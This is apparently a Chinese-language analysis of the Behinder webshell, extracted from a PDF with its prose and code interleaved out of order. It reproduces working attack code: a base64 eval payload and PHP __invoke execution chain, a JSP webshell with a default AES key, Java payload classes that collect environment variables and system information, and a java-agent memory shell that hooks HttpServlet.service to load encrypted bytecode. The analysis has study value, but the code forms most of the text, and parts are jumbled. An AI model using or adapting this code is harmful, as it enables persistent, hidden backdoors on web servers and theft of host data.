wrWKaXCzgwdRRMprekXxCVgNsy6TaEc1IcL305wqv+jObvfHlJHmJCJ/PbKfiwZfhNB5lH8tx0014nMa Q71RGo/TkTVeE1YLKY12OIyQwXaNFDng3EESax5cNccAufzFUJJPbwHZQ/ln0sDDBQeTwjlw3Y+zoZq4 taZ/2Q6dPN6xQjnIC7ymDA5FjkNMVmsT7blIB4BjdQt1pFSgecg1DEBIizpRTyGvQiC/op6/zYKUc277 sdf8NdHxf6EeE90lesC/V8bNZiH5J1JRAhwzI5wDSrKL45AbeH/KKaTc6ErWCYF8Bde1xVpSNqysmtwV 1EjZPilqvXa6jy3ezkSkviYLrmtoxzHmdIRWvyMu8roKSv7C5hpNu0msAPt8FRwMyEcnvsUjS6AQ20f4 43OV5Qdst9Pl3IrQUfSR7fN6LQl9vOo2iuDJwtH+3k/c8J34nlcQ+ZsIk8g= 流量解密: 经过shell.php的处理,最后的执行逻辑应该是这样的 assert|eval(base64_decode('QGVycm9yX3JlcG9ydGluZygwKTsNCmZ1bmN0aW9uIG1haW4oJGNvb nRlbnQpDQp7DQoJJHJlc3VsdCA9IGFycmF5KCk7DQoJJHJlc3VsdFsic3RhdHVzIl0gPSBiYXNlNjRfZ W5jb2RlKCJzdWNjZXNzIik7DQogICAgJHJlc3VsdFsibXNnIl0gPSBiYXNlNjRfZW5jb2RlKCRjb250Z W50KTsNCiAgICAka2V5ID0gJF9TRVNTSU9OWydrJ107DQogICAgZWNobyBlbmNyeXB0KGpzb25fZW5jb 2RlKCRyZXN1bHQpLCRrZXkpOw0KfQ0KDQpmdW5jdGlvbiBlbmNyeXB0KCRkYXRhLCRrZXkpDQp7DQoJa WYoIWV4dGVuc2lvbl9sb2FkZWQoJ29wZW5zc2wnKSkNCiAgICAJew0KICAgIAkJZm9yKCRpPTA7JGk8c 3RybGVuKCRkYXRhKTskaSsrKSB7DQogICAgCQkJICRkYXRhWyRpXSA9ICRkYXRhWyRpXV4ka2V5WyRpK zEmMTVdOyANCiAgICAJCQl9DQoJCQlyZXR1cm4gJGRhdGE7DQogICAgCX0NCiAgICBlbHNlDQogICAgC XsNCiAgICAJCXJldHVybiBvcGVuc3NsX2VuY3J5cHQoJGRhdGEsICJBRVMxMjgiLCAka2V5KTsNCiAgI CAJfQ0KfSRjb250ZW50PSJZVll3V2xweFJFTkpVbmh0VG1oSmRWZEtZVmRyU0RSamFVNVpibkpvUWtwa VFuUkNTa1Z3VFZWWmJFNW5lR1JUVEdFd1psQnFWbW8wZGtGV2VIbHZlREJSTmtaMlVsaHNOMUZsYldwV k5tcEtUMWR3ZWtNd2FWWXlVREJSWTB4eFZYTnVXSFZHTWtwblNsQlNiMU0yZGpOTlRISlZNM3BtVVhGT FFWcEZNVkZzUTNsRlFtb3pkbFpETVVkMWR6ZFhSbGh1TkdST2RWWXpSbVpJVEVGRWVITklZakZZUkhWN mIxWk9UMUE0V1RKWlREUmtUa05wYW1KbFMwRTFZbXhYZEV0WFRHbGtNVE5vVDFBeFJsRlNVVEJ3VmtkT 1MwMXZVak54YzBkclpIcHphemN6UTFZMlFVNDBTSEJ5VXpScmRUUnVaMHBLYVcxMlNIRkRUbVZuYTNsM k4zQkhiREpVUm5ScWFscGpVVzlRUkRaSU0yZ3lWRWhLVDNnd1QyOXpSbEZXV1Vjd2VXWkRTamhKTTJwb FJuWXpUSGRsTjBKS1NrcG9hRVZ2UVU1Uk9HcFdNR2REYjNRM1VIZExRMkZ5ZFhaa1dUSk9VRVpLWVhwd WRucEJjRlkyTjJrelNqSkNObVY0UlVZeGJ6QmpNMFZLYkhKRlRWbFpNRXRoTVZGTFUyWnljVFV6YkZWS U1uUm1SbGhPV0hobk5reE9TbmhDU2xwcFFVWjFTakY2WW5CMU9YZGxOazE0Y2psbVJVcDFiRGxUV1cxM VZHRjFiSFowZWxkdE1qSjJlSEUwYm5KV01sVnVVa3czWjJaSllXNVhUa0Y1U210clNuTjZURzU2WkZKb mVuZzBXWEJ2Y0ZwVFpsbE9WRGgwVkhaQlExazJXV3BCWm5WaGVVNW9lbEpsWVVvNVRHVjNjVmcwTW5RN GNtUktjamxNT0dNMmNXTjVUWGhoUTNGVU1rNVlZMGhTZWpCS2JGazBOa1U0Yld0WGRtOHdUakZYZG01c U1uSkxPV0pFYmpWUVNHcEVNVmhMTjJGTmREWXhRVFJSVjFoQ1JFRkxlVTF5ZGxNeU5qRktTbGxHVG1se GNUUkZXVWswY0ZoNmN6VjJVM1JYZG14bWNVRjBRVGxGUWprNGIzQnRWVnBaTkRkV2NWcHZObGx6TWtWT llsZGxXbmRvUjIxblFtRlpSV1kxTTNkYVRIQlFabXAzZHpWb05FVnhXbWxrUm1KV05WQXhRVkk0Y0hGN k4ySlJUbVZtZEdOU01EUnBTbXBFWWxZeU4weFNhRlEzTldoR2JFNDFTbFpJYm1nd1FnPT0iOyRjb250Z W50PWJhc2U2NF9kZWNvZGUoJGNvbnRlbnQpOw0KbWFpbigkY29udGVudCk7')); <?php 在这里使用了魔术方法 __invoke , PHP 的对象不能被当成 call_user_func 的回调函数使用,会 触发 __invoke 魔术方法。那最后这个执行就相当于 eval(eval(base64_decode('QGVyck7...'));) 里面 base64 解码后的内容 $post = "assert|eval(base64_decode('QGVycm9yX3JlcG9ydGluZygwKTsNCmZ1bmN0aW9uIG1haW4oJGNv bnRlbnQpDQp7DQoJJHJlc3VsdCA9IGFycmF5KCk7DQoJJHJlc3VsdFsic3RhdHVzIl0gPSBiYXNlNjRf ZW5jb2RlKCJzdWNjZXNzIik7DQogICAgJHJlc3VsdFsibXNnIl0gPSBiYXNlNjRfZW5jb2RlKCRjb250 ZW50KTsNCiAgICAka2V5ID0gJF9TRVNTSU9OWydrJ107DQogICAgZWNobyBlbmNyeXB0KGpzb25fZW5j b2RlKCRyZXN1bHQpLCRrZXkpOw0KfQ0KDQpmdW5jdGlvbiBlbmNyeXB0KCRkYXRhLCRrZXkpDQp7DQoJ aWYoIWV4dGVuc2lvbl9sb2FkZWQoJ29wZW5zc2wnKSkNCiAgICAJew0KICAgIAkJZm9yKCRpPTA7JGk8 c3RybGVuKCRkYXRhKTskaSsrKSB7DQogICAgCQkJICRkYXRhWyRpXSA9ICRkYXRhWyRpXV4ka2V5WyRp KzEmMTVdOyANCiAgICAJCQl9DQoJCQlyZXR1cm4gJGRhdGE7DQogICAgCX0NCiAgICBlbHNlDQogICAg CXsNCiAgICAJCXJldHVybiBvcGVuc3NsX2VuY3J5cHQoJGRhdGEsICJBRVMxMjgiLCAka2V5KTsNCiAg ICAJfQ0KfSRjb250ZW50PSJZVll3V2xweFJFTkpVbmh0VG1oSmRWZEtZVmRyU0RSamFVNVpibkpvUWtw aVFuUkNTa1Z3VFZWWmJFNW5lR1JUVEdFd1psQnFWbW8wZGtGV2VIbHZlREJSTmtaMlVsaHNOMUZsYldw Vk5tcEtUMWR3ZWtNd2FWWXlVREJSWTB4eFZYTnVXSFZHTWtwblNsQlNiMU0yZGpOTlRISlZNM3BtVVhG TFFWcEZNVkZzUTNsRlFtb3pkbFpETVVkMWR6ZFhSbGh1TkdST2RWWXpSbVpJVEVGRWVITklZakZZUkhW NmIxWk9UMUE0V1RKWlREUmtUa05wYW1KbFMwRTFZbXhYZEV0WFRHbGtNVE5vVDFBeFJsRlNVVEJ3Vmtk T1MwMXZVak54YzBkclpIcHphemN6UTFZMlFVNDBTSEJ5VXpScmRUUnVaMHBLYVcxMlNIRkRUbVZuYTNs Mk4zQkhiREpVUm5ScWFscGpVVzlRUkRaSU0yZ3lWRWhLVDNnd1QyOXpSbEZXV1Vjd2VXWkRTamhKTTJw bFJuWXpUSGRsTjBKS1NrcG9hRVZ2UVU1Uk9HcFdNR2REYjNRM1VIZExRMkZ5ZFhaa1dUSk9VRVpLWVhw dWRucEJjRlkyTjJrelNqSkNObVY0UlVZeGJ6QmpNMFZLYkhKRlRWbFpNRXRoTVZGTFUyWnljVFV6YkZW SU1uUm1SbGhPV0hobk5reE9TbmhDU2xwcFFVWjFTakY2WW5CMU9YZGxOazE0Y2psbVJVcDFiRGxUV1cx MVZHRjFiSFowZWxkdE1qSjJlSEUwYm5KV01sVnVVa3czWjJaSllXNVhUa0Y1U210clNuTjZURzU2WkZK bmVuZzBXWEJ2Y0ZwVFpsbE9WRGgwVkhaQlExazJXV3BCWm5WaGVVNW9lbEpsWVVvNVRHVjNjVmcwTW5R NGNtUktjamxNT0dNMmNXTjVUWGhoUTNGVU1rNVlZMGhTZWpCS2JGazBOa1U0Yld0WGRtOHdUakZYZG01 cU1uSkxPV0pFYmpWUVNHcEVNVmhMTjJGTmREWXhRVFJSVjFoQ1JFRkxlVTF5ZGxNeU5qRktTbGxHVG1s eGNUUkZXVWswY0ZoNmN6VjJVM1JYZG14bWNVRjBRVGxGUWprNGIzQnRWVnBaTkRkV2NWcHZObGx6TWtW TllsZGxXbmRvUjIxblFtRlpSV1kxTTNkYVRIQlFabXAzZHpWb05FVnhXbWxrUm1KV05WQXhRVkk0Y0hG Nk4ySlJUbVZtZEdOU01EUnBTbXBFWWxZeU4weFNhRlEzTldoR2JFNDFTbFpJYm1nd1FnPT0iOyRjb250 ZW50PWJhc2U2NF9kZWNvZGUoJGNvbnRlbnQpOw0KbWFpbigkY29udGVudCk7'));"; $arr = explode('|', $post); $func = $arr[0]; $params = $arr[1]; class C {    public function __invoke($p)   {        eval($p . "");   } } @call_user_func(new C(), $params); ?> @error_reporting(0); function main($content) {    $result = array();    $result["status"] = base64_encode("success");    $result["msg"] = base64_encode($content);    $key = $_SESSION['k'];    echo encrypt(json_encode($result),$key); 分析到这里,基本已经知道PHP类型shell的执行流程了,而且此处我们其实可以自己将一些代码 替换,那就可以实现自己想添加或者修改的功能了。 最后再来看一下获取基础信息的 BasicInfo.php java类型 } function encrypt($data,$key) {    if(!extension_loaded('openssl'))   {        for($i=0;$i<strlen($data);$i++) {            $data[$i] = $data[$i]^$key[$i+1&15];       }        return $data;   }    else   {        return openssl_encrypt($data, "AES128", $key);   } } $content="YVYwWlpxRENJUnhtTmhJdVdKYVdrSDRjaU5ZbnJoQkpiQnRCSkVwTVVZbE5neGRTTGEwZl BqVmo0dkFWeHlveDBRNkZ2UlhsN1FlbWpVNmpKT1dwekMwaVYyUDBRY0xxVXNuWHVGMkpnSlBSb1M2dj NNTHJVM3pmUXFLQVpFMVFsQ3lFQmozdlZDMUd1dzdXRlhuNGROdVYzRmZITEFEeHNIYjFYRHV6b1ZOT1 A4WTJZTDRkTkNpamJlS0E1YmxXdEtXTGlkMTNoT1AxRlFSUTBwVkdOS01vUjNxc0drZHpzazczQ1Y2QU 40SHByUzRrdTRuZ0pKaW12SHFDTmVna3l2N3BHbDJURnRqalpjUW9QRDZIM2gyVEhKT3gwT29zRlFWWU cweWZDSjhJM2plRnYzTHdlN0JKSkpoaEVvQU5ROGpWMGdDb3Q3UHdLQ2FydXZkWTJOUEZKYXpudnpBcF Y2N2kzSjJCNmV4RUYxbzBjM0VKbHJFTVlZMEthMVFLU2ZycTUzbFVIMnRmRlhOWHhnNkxOSnhCSlppQU Z1SjF6YnB1OXdlNk14cjlmRUp1bDlTWW11VGF1bHZ0eldtMjJ2eHE0bnJWMlVuUkw3Z2ZJYW5XTkF5Sm trSnN6TG56ZFJneng0WXBvcFpTZllOVDh0VHZBQ1k2WWpBZnVheU5oelJlYUo5TGV3cVg0MnQ4cmRKcj lMOGM2cWN5TXhhQ3FUMk5YY0hSejBKbFk0NkU4bWtXdm8wTjFXdm5qMnJLOWJEbjVQSGpEMVhLN2FNdD YxQTRRV1hCREFLeU1ydlMyNjFKSllGTmlxcTRFWUk0cFh6czV2U3RXdmxmcUF0QTlFQjk4b3BtVVpZND dWcVpvNllzMkVNYldlWndoR21nQmFZRWY1M3daTHBQZmp3dzVoNEVxWmlkRmJWNVAxQVI4cHF6N2JRTm VmdGNSMDRpSmpEYlYyN0xSaFQ3NWhGbE41SlZIbmgwQg=="; $content=base64_decode($content); main($content); 入口 跳过前面的连接函数,直接进入 jsp 的 echo 方法。 之后同样进入到 Utils.getData() 方法 注意观察这个参数传递,和进入的方法,此处是 Param.getParamedClass() Utils.getParamedClass() 和PHP的加载方式有很大差别,这里仔细跟进一下,还是先获取到类的位置,然后创建一个 ClassReader 对象,这个 ClassReader 是 ASM 用读取和解析java字节码的,实例中存储的也是字 节码文件的数组。这里应该就是 net.rebeyond.behinder.payload.java.Echo.class 这个类。 package net.rebeyond.behinder.payload.java; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Iterator; import java.util.Map; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; public class Echo {   public static String content;   private Object Request;   private Object Response;   private Object Session;   public boolean equals(Object obj) {      HashMap result = new HashMap();      boolean var13 = false;      Object so;      Method write;      label77: {         try {            var13 = true;            this.fillContext(obj);            result.put("status", "success");            result.put("msg", content);            var13 = false;            break label77;         } catch (Exception var17) {            result.put("msg", var17.getMessage());            result.put("status", "success");            var13 = false;         } finally {            if (var13) {               try {                  so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);                  write = so.getClass().getMethod("write", byte[].class);                  write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));                  so.getClass().getMethod("flush").invoke(so);                  so.getClass().getMethod("close").invoke(so);               } catch (Exception var14) {               }           }         }         try {            so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);            write = so.getClass().getMethod("write", byte[].class);            write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));            so.getClass().getMethod("flush").invoke(so);            so.getClass().getMethod("close").invoke(so);         } catch (Exception var15) {         }         return true;     }      try {         so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);         write = so.getClass().getMethod("write", byte[].class);         write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));         so.getClass().getMethod("flush").invoke(so);         so.getClass().getMethod("close").invoke(so);     } catch (Exception var16) {     }      return true;   }   private byte[] Encrypt(byte[] bs) throws Exception {      String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();      byte[] raw = key.getBytes("utf-8");      SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");      Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");      cipher.init(1, skeySpec);      byte[] encrypted = cipher.doFinal(bs);      return encrypted;   }   private String buildJson(Map entity, boolean encode) throws Exception {      StringBuilder sb = new StringBuilder();      String version = System.getProperty("java.version");      sb.append("{");      Iterator var5 = entity.keySet().iterator();      while(var5.hasNext()) {         String key = (String)var5.next();         sb.append("\"" + key + "\":\"");         String value = ((String)entity.get(key)).toString();         if (encode) {            Class Base64;            Object Encoder;            if (version.compareTo("1.9") >= 0) {               this.getClass();               Base64 = Class.forName("java.util.Base64");               Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);               value = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));           } else {               this.getClass();               Base64 = Class.forName("sun.misc.BASE64Encoder"); 之后 classReader.accept() 这个方法应该是 ASM 修改类字节码的方法,作用是给里面的变量赋 值,这里是给 content 变量赋值为之前获取到随机字符串。之后将字节码进行还原得到 result 。 这里可以自己添加一个步骤,将字节码文件转换为 .class 文件来观看他的操作,而且之后有个奇怪 的操作,会重新生成一个随机的类名将原本的类名进行替换,所有此处也需要查看之后的变化.再最后 就是将修改完的字节码进行加密,然后返回.               Encoder = Base64.newInstance();               value = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));               value = value.replace("\n", "").replace("\r", "");           }         }         sb.append(value);         sb.append("\",");     }      if (sb.toString().endsWith(",")) {         sb.setLength(sb.length() - 1);     }      sb.append("}");      return sb.toString();   }   private void fillContext(Object obj) throws Exception {      if (obj.getClass().getName().indexOf("PageContext") >= 0) {         this.Request = obj.getClass().getMethod("getRequest").invoke(obj);         this.Response = obj.getClass().getMethod("getResponse").invoke(obj);         this.Session = obj.getClass().getMethod("getSession").invoke(obj);     } else {         Map objMap = (Map)obj;         this.Session = objMap.get("session");         this.Response = objMap.get("response");         this.Request = objMap.get("request");     }      this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");   } } 通过新建三路比较,得到中间差异不是很大,就是类名包名变了。 通过反射查看到类名替换后字节码中 content 的内容 此处因为随机替换的类名,所以替换的位置暂时先写死。可以看到的是 content 属性的值就是随 机字符串。 之后就是熟悉的请求发送和响应包解析了 这里我们还是结合木马和发送的内容进行分析 <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %> <%!    class U extends ClassLoader {        U(ClassLoader c) {            super(c);       }        public Class g(byte[] b) { webshell的内容相对来说简单,通过 request.getReader().readLine() 接收的请求的数据,然 后解密,之后调用类加载器加载字节码并且调用 newInstance() 方法创建对象,然后调用 equals 方法,传递的是 jsp 的 pageContext ,也就是上下文对象,可以获取到 request , response , session 三个对象。然后结合 Echo.java 的内容,执行他的 equals 方法。那么执 行逻辑我们已经清楚了,接下来还是查看一下经典的 BasicInfo.java 。            return super.defineClass(b, 0, b.length);       }   } %><%    if (request.getMethod().equals("POST")) {        String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码 rebeyond*/        session.putValue("u", k);        Cipher c = Cipher.getInstance("AES");        c.init(2, new SecretKeySpec(k.getBytes(), "AES"));        new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInsta nce().equals(pageContext);   } %> package net.rebeyond.behinder.payload.java; import java.io.File; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Iterator; import java.util.Map; import java.util.Properties; import java.util.Set; import java.util.Map.Entry; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; public class BasicInfo {   public static String whatever;   private Object Request;   private Object Response;   private Object Session;   public boolean equals(Object obj) {      String result = "";      boolean var22 = false;      Object so;      Method write;      label132: {         try {            var22 = true;            this.fillContext(obj);            StringBuilder basicInfo = new StringBuilder("<br/><font size=2 color=red>环境变量:</font><br/>");            Map env = System.getenv();            Iterator var5 = env.keySet().iterator();            while(var5.hasNext()) {               String name = (String)var5.next();               basicInfo.append(name + "=" + (String)env.get(name) + "<br/>");           }            basicInfo.append("<br/><font size=2 color=red>JRE系统属性:</font> <br/>");            Properties props = System.getProperties();            Set entrySet = props.entrySet();            Iterator var7 = entrySet.iterator();            while(var7.hasNext()) {               Entry entry = (Entry)var7.next();               basicInfo.append(entry.getKey() + " = " + entry.getValue() + " <br/>");           }            String currentPath = (new File("")).getAbsolutePath();            String driveList = "";            File[] roots = File.listRoots();            File[] var10 = roots;            int var11 = roots.length;            for(int var12 = 0; var12 < var11; ++var12) {               File f = var10[var12];               driveList = driveList + f.getPath() + ";";           }            String osInfo = System.getProperty("os.name") + System.getProperty("os.version") + System.getProperty("os.arch");            Map entity = new HashMap();            entity.put("basicInfo", basicInfo.toString());            entity.put("currentPath", currentPath);            entity.put("driveList", driveList);            entity.put("osInfo", osInfo);            entity.put("arch", System.getProperty("os.arch"));            result = this.buildJson(entity, true);            var22 = false;            break label132;         } catch (Exception var26) {            var22 = false;         } finally {            if (var22) {               try {                  so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);                  write = so.getClass().getMethod("write", byte[].class);                  write.invoke(so, this.Encrypt(result.getBytes("UTF-8")));                  so.getClass().getMethod("flush").invoke(so);                  so.getClass().getMethod("close").invoke(so);               } catch (Exception var23) {               }           }         }         try {            so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);            write = so.getClass().getMethod("write", byte[].class);            write.invoke(so, this.Encrypt(result.getBytes("UTF-8")));            so.getClass().getMethod("flush").invoke(so);            so.getClass().getMethod("close").invoke(so);         } catch (Exception var24) {         }         return true;     }      try {         so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);         write = so.getClass().getMethod("write", byte[].class);         write.invoke(so, this.Encrypt(result.getBytes("UTF-8")));         so.getClass().getMethod("flush").invoke(so);         so.getClass().getMethod("close").invoke(so);     } catch (Exception var25) {     }      return true;   }   private byte[] Encrypt(byte[] bs) throws Exception {      String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();      byte[] raw = key.getBytes("utf-8");      SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");      Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");      cipher.init(1, skeySpec);      byte[] encrypted = cipher.doFinal(bs);      return encrypted;   }   private String buildJson(Map entity, boolean encode) throws Exception {      StringBuilder sb = new StringBuilder();      String version = System.getProperty("java.version");      sb.append("{");      Iterator var5 = entity.keySet().iterator();      while(var5.hasNext()) {         String key = (String)var5.next();         sb.append("\"" + key + "\":\"");         String value = ((String)entity.get(key)).toString();         if (encode) {            Class Base64;            Object Encoder;            if (version.compareTo("1.9") >= 0) {               this.getClass();               Base64 = Class.forName("java.util.Base64");               Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);               value = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));           } else {               this.getClass(); 在注入内存马的时候我们是没有办法获取到 pageContext 对象的,所以新版的冰蝎添加了一个新 的方案,也就是 this.fillContext(obj) 方法的内容。如果传递的不是 pageContext 对象,那 就可以通过 HashMap 将需要的三个参数存进去。而之后我们自定义代码也是通过这种方法实现 的。 冰蝎内存马的实现分析 冰蝎内存马的实现使用了一种新的内存马 java agent ,这个非常值得学习一下原理,所以这里也 分析一下。关于 javaagent 技术的学习可以看《java基础知识的javaagent篇》。总的来说就是通 过 javaagent 的 agentMain 去 hook tomcat 的相关函数来达到修改字节码的效果。               Base64 = Class.forName("sun.misc.BASE64Encoder");               Encoder = Base64.newInstance();               value = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));               value = value.replace("\n", "").replace("\r", "");           }         }         sb.append(value);         sb.append("\",");     }      sb.setLength(sb.length() - 1);      sb.append("}");      return sb.toString();   }   private void fillContext(Object obj) throws Exception {      if (obj.getClass().getName().indexOf("PageContext") >= 0) {         this.Request = obj.getClass().getMethod("getRequest").invoke(obj);         this.Response = obj.getClass().getMethod("getResponse").invoke(obj);         this.Session = obj.getClass().getMethod("getSession").invoke(obj);     } else {         Map objMap = (Map)obj;         this.Session = objMap.get("session");         this.Response = objMap.get("response");         this.Request = objMap.get("request");     }      this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");   } } 客户端入口 可以看到此处会根据系统类型的不同,上传不同的 agent 包,然后调用 loadJar 方法加载这个上 传的 Jar 包。 在加载包之后执行 shellService.injectMemShell() 方法,然后就是之前的操作了,现在来关 注功能执行的代码 Memshell,java Memshell.java#equals()->doAgentShell() 此处有一个点就是关于 jdk.attach.allowAttachSelf ,jdk9之后不允许了,所以此处需要提前 修改设置。还有其他的修改方案。议题解析与复现--《Java内存攻击技术漫谈》(一) 此处通过反射加载之前已经上传的 agent ,然后会触发 agent 当中的 Agent-Class: net.rebeyond.behinder.payload.java.MemShell#agentmain() 方法。这个 libPath 还是看 上传功能的实现。 agentmain 方法 Class[] cLasses = inst.getAllLoadedClasses(); //当前jvm加载的所有类      byte[] data = new byte[0];      Map targetClasses = new HashMap();      Map targetClassJavaxMap = new HashMap();      targetClassJavaxMap.put("methodName", "service");      List paramJavaxClsStrList = new ArrayList();      paramJavaxClsStrList.add("javax.servlet.ServletRequest");      paramJavaxClsStrList.add("javax.servlet.ServletResponse");      targetClassJavaxMap.put("paramList", paramJavaxClsStrList);      targetClasses.put("javax.servlet.http.HttpServlet", targetClassJavaxMap);      Map targetClassJakartaMap = new HashMap();  //这一个处理是为了忽略tomcat改变带 来的包名变化      targetClassJakartaMap.put("methodName", "service");      List paramJakartaClsStrList = new ArrayList();      paramJakartaClsStrList.add("jakarta.servlet.ServletRequest");      paramJakartaClsStrList.add("jakarta.servlet.ServletResponse");      targetClassJakartaMap.put("paramList", paramJakartaClsStrList);      targetClasses.put("javax.servlet.http.HttpServlet", targetClassJavaxMap);      targetClasses.put("jakarta.servlet.http.HttpServlet", targetClassJakartaMap);      String getCoreObject = "javax.servlet.http.HttpServletRequest request= (javax.servlet.ServletRequest)$1;\njavax.servlet.http.HttpServletResponse response = (javax.servlet.ServletResponse)$2;\njavax.servlet.http.HttpSession session = request.getSession();\n";      ClassPool cPool = ClassPool.getDefault();      if (ServerDetector.isWebLogic()) {         targetClasses.clear();         Map targetClassWeblogicMap = new HashMap();         targetClassWeblogicMap.put("methodName", "execute");         List paramWeblogicClsStrList = new ArrayList();         paramWeblogicClsStrList.add("javax.servlet.ServletRequest");         paramWeblogicClsStrList.add("javax.servlet.ServletResponse");         targetClassWeblogicMap.put("paramList", paramWeblogicClsStrList);         targetClasses.put("weblogic.servlet.internal.ServletStubImpl", targetClassWeblogicMap);     }      String shellCode = "javax.servlet.http.HttpServletRequest request= (javax.servlet.ServletRequest)$1;\njavax.servlet.http.HttpServletResponse response = (javax.servlet.ServletResponse)$2;\njavax.servlet.http.HttpSession session = request.getSession();\nString pathPattern=\"%s\";\nif (request.getRequestURI().matches(pathPattern))\n{\n\tjava.util.Map obj=new java.util.HashMap();\n\tobj.put(\"request\",request);\n\tobj.put(\"response\",re sponse);\n\tobj.put(\"session\",session);\n   ClassLoader loader=this.getClass().getClassLoader();\n\tif (request.getMethod().equals(\"POST\"))\n\t{\n\t\ttry\n\t\t{\n\t\t\tString k=\"%s\";\n\t\t\tsession.putValue(\"u\",k);\n\t\t\t\n\t\t\tjava.lang.ClassLoader systemLoader=java.lang.ClassLoader.getSystemClassLoader();\n\t\t\tClass cipherCls=systemLoader.loadClass(\"javax.crypto.Cipher\");\n\n\t\t\tObject c=cipherCls.getDeclaredMethod(\"getInstance\",new Class[] {String.class}).invoke((java.lang.Object)cipherCls,new Object[] {\"AES\"});\n\t\t\tObject keyObj=systemLoader.loadClass(\"javax.crypto.spec.SecretKeySpec\").getDeclaredCo nstructor(new Class[]{byte[].class,String.class}).newInstance(new Object[] {k.getBytes(),\"AES\"});;\n\t\t\t       \n\t\t\tjava.lang.reflect.Method initMethod=cipherCls.getDeclaredMethod(\"init\",new Class[] {int.class,systemLoader.loadClass(\"java.security.Key\")});\n\t\t\tinitMethod.in voke(c,new Object[]{new Integer(2),keyObj});\n\n\t\t\tjava.lang.reflect.Method doFinalMethod=cipherCls.getDeclaredMethod(\"doFinal\",new Class[] {byte[].class});\n           byte[] requestBody=null;\n           try {\n                   Class Base64 = loader.loadClass(\"sun.misc.BASE64Decoder\");\n\t\t\t       Object Decoder = Base64.newInstance();\n                   requestBody= (byte[]) Decoder.getClass().getMethod(\"decodeBuffer\", new Class[] {String.class}).invoke(Decoder, new Object[]{request.getReader().readLine()});\n               } catch (Exception ex) \n               {\n                   Class Base64 = loader.loadClass(\"java.util.Base64\");\n                   Object Decoder = Base64.getDeclaredMethod(\"getDecoder\",new Class[0]).invoke(null, new Object[0]);\n                   requestBody= (byte[])Decoder.getClass().getMethod(\"decode\", new Class[] {String.class}).invoke(Decoder, new Object[]{request.getReader().readLine()});\n               }\n\t\t\t\t\t\t\n\t\t\tbyte[] buf= (byte[])doFinalMethod.invoke(c,new Object[] {requestBody});\n\t\t\tjava.lang.reflect.Method defineMethod=java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[] {String.class,java.nio.ByteBuffer.class,java.security.ProtectionDomain.class});\ n\t\t\tdefineMethod.setAccessible(true);\n\t\t\tjava.lang.reflect.Constructor constructor=java.security.SecureClassLoader.class.getDeclaredConstructor(new Class[] {java.lang.ClassLoader.class});\n\t\t\tconstructor.setAccessible(true);\n\t\t\tj ava.lang.ClassLoader cl=(java.lang.ClassLoader)constructor.newInstance(new Object[]{loader});\n\t\t\tjava.lang.Class c= (java.lang.Class)defineMethod.invoke((java.lang.Object)cl,new Object[] {null,java.nio.ByteBuffer.wrap(buf),null});\n\t\t\tc.newInstance().equals(obj);\ n\t\t}\n\n\t\tcatch(java.lang.Exception e)\n\t\t{\n\t\t   e.printStackTrace();\n\t\t}\n\t\tcatch(java.lang.Error error)\n\t\t{\n\t\terror.printStackTrace();\n\t\t}\n\t\treturn;\n\t}\t\n}\n";      Class[] var28 = cLasses;      int var13 = cLasses.length;      for(int var14 = 0; var14 < var13; ++var14) {         Class cls = var28[var14];         if (targetClasses.keySet().contains(cls.getName())) {  //所有加载的类对象如 果存在javax.servlet.http.HttpServlet            String targetClassName = cls.getName(); 这个 agentMain 方法其实很简单,就是遍历加载的全部类,然后 Hook javax.servlet.http.HttpServlet 这个类(不同的中间件,不同的版本可能存在差别),然后 修改他的 service() 方法。我们把他扒出来单独找份 tomcat 来跑一下,看看被修改后的 HttpServlet 类 shellcode 变量的内容            try {               String path = new String(base64decode(args.split("\\|")[0]));               String key = new String(base64decode(args.split("\\|")[1]));               shellCode = String.format(shellCode, path, key);               if (targetClassName.equals("jakarta.servlet.http.HttpServlet")) {                  shellCode = shellCode.replace("javax.servlet", "jakarta.servlet");               }               ClassClassPath classPath = new ClassClassPath(cls);               cPool.insertClassPath(classPath);               cPool.importPackage("java.lang.reflect.Method");               cPool.importPackage("javax.crypto.Cipher");               List paramClsList = new ArrayList();               Iterator var21 = ((List) ((Map)targetClasses.get(targetClassName)).get("paramList")).iterator();               String methodName;               while(var21.hasNext()) {                  methodName = (String)var21.next();                  paramClsList.add(cPool.get(methodName));               }               CtClass cClass = cPool.get(targetClassName);               methodName = ((Map)targetClasses.get(targetClassName)).get("methodName").toString();               CtMethod cMethod = cClass.getDeclaredMethod(methodName, (CtClass[])paramClsList.toArray(new 